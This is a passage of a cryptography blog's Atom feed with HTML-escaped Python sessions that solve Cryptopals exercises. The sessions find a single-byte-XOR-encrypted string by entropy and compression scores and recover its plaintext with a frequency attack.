&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.4983211558075781&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5399878224742447&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5404039285997025&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.548737261933036&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;232&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Entropy byte-level&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Much better!&lt;/p&gt;
&lt;h3 id="entropy-at-xor-level"&gt;Entropy at xor level&lt;/h3&gt;
&lt;p&gt;Remember that the ciphertext that we are looking for was encrypted doing a xor with a single byte.&lt;/p&gt;
&lt;p&gt;Therefore we could use the first byte and xor it with the rest of the string.&lt;/p&gt;
&lt;p&gt;If the string is random, the xor will just shuffle more bits and the string will remain random.&lt;/p&gt;
&lt;p&gt;But if it is not the xor will remove the entropy added by the key from the ciphertext and it should be easier to spot because the resulting string will be the xor of two ASCII strings.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ascii_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ascii_xor_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ascii_bytes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ascii_bytes&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;in_xor_set_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ascii_xor_set&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;stats&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in_xor_set_freq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# lower values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;149&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;165&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;195&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;225&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;230&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;289&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;295&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.21639693245126465&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Entropy xor-level&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='Ckkgd29uZGVyLCB3aGF0IHdvdWxkIGhhcHBlbiBpZiBpbnN0ZWFkIG9mIHhvcmluZyB1c2luZyB0aGUgZmlyc3QgYnl0ZQp3ZSB0cnkgdGhlbiB0aGUgc2Vjb25kIGJ5dGUgYW5kIHRoZW4gdGhlIHRoaXJkLiBXaWxsIHRoZXNlIGFncmVlPyBDb3VsZCB3ZSB1c2UKdGhlbSB0byByZW1vdmUgZmFsc2UgcG9zaXRpdmVzPwptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ckkgd29uZGVyLCB3aGF0IHdvdWxkIGhhcHBlbiBpZiBpbnN0ZWFkIG9mIHhvcmluZyB1c2luZyB0aGUgZmlyc3QgYnl0ZQp3ZSB0cnkgdGhlbiB0aGUgc2Vjb25kIGJ5dGUgYW5kIHRoZW4gdGhlIHRoaXJkLiBXaWxsIHRoZXNlIGFncmVlPyBDb3VsZCB3ZSB1c2UKdGhlbSB0byByZW1vdmUgZmFsc2UgcG9zaXRpdmVzPwptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I wonder, what would happen if instead of xoring using the first byte we try then the second byte and then the third. Will these agree? Could we use them to remove false positives?
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Interesting, this method has more false positives than others but at the same time, this method makes a clear distinction between a few really non random strings and the rest of the strings in the pool.&lt;/p&gt;
&lt;h3 id="kolmogorov-complexity"&gt;Kolmogorov complexity&lt;/h3&gt;
&lt;p&gt;As an alternative way to see this, a random string cannot be compressed. So the string with the shortest compressed version will be likely to be a non-random string.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;lzma&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compress_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lzma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tobytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;lzma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FORMAT_ALONE&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;compress_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# lower values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Kolmogorov Complexity&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It works…. slowly, but it works.&lt;/p&gt;
&lt;h2 id="break-it"&gt;Break it&lt;/h2&gt;
&lt;p&gt;Now let’s break the ciphertext using a frequency attack (implemented in &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;         &lt;span class="c1"&gt;# byexample: +timeout 10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;etaoin shrdlu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We narrow this down to 3 keys only. I’ll do a little cheat here&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;Now that the party is jumping&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Claiming that a string is uniformly random if &lt;em&gt;far from trivial&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Even the NSA battery tests for randomness fail to measure the randomness of crafted strings.&lt;/p&gt;
&lt;p&gt;Here is the plot of the scores calculated by the different methods:&lt;/p&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;object style="width: 100%;" class='fullwidth' align='middle' data='/img/matasano/scores_by_method.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;figcaption&gt;
Scores by method. Notice how the element 170th gets the lower value in most cases indicating that the string is not random.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./z/py/plotting")

&gt;&gt;&gt; from plotting import plt, show                      # byexample: +timeout=20
&gt;&gt;&gt; import pandas as pd                                 # byexample: +timeout=20

&gt;&gt;&gt; methods = pd.DataFrame(methods)

&gt;&gt;&gt; def min_max_normalizer(c):
...     return (c - c.min()) / (c.max() - c.min())

&gt;&gt;&gt; methods = methods.apply(min_max_normalizer, axis=0)

&gt;&gt;&gt; with show(save='./posts/matasano/scores_by_method.svg', columns = 2, transparent = True): # byexample: +timeout=600 +skip
...     axes = methods.plot(style='o', subplots=True, layout=(3, 2))
...
...     _ = [ax.vlines(170, 0, 1, linestyles='dashed') for ax in axes.flat]
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/04/01/A-string-of-coincidences-is-not-a-coincidence.html" rel="alternate" type="text/html" title="A string of coincidences is not a coincidence"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="index coincidence" label="index coincidence"/>
    <published>2018-04-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/03/01/In-XOR-We-Trust.html</id>
    <title>In XOR we trust</title>
    <updated>2018-03-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;This is the first set of exercises for the &lt;a href="https://cryptopals.com/"&gt;Matasano Challenge&lt;/a&gt; (also known as the Cryptopals Challenge)&lt;/p&gt;
&lt;p&gt;It starts from the very begin, really easy, but it goes up to more challenging exercises quickly.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Ready? &lt;em&gt;Go!&lt;/em&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="warming-up"&gt;Warming up&lt;/h2&gt;
&lt;p&gt;During this challenge I will be using and implementing a set of tools to break crypo: &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Working with bytes can be a mess so let’s use some nice object that would help us in our journey.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMgdW5sb2NrcyB0aGUKW0NvbnZlcnQgaGV4IHRvIGJhc2UgNjRdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvMSkKY2hhbGxlbmdlLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgdW5sb2NrcyB0aGUKW0NvbnZlcnQgaGV4IHRvIGJhc2UgNjRdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvMSkKY2hhbGxlbmdlLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
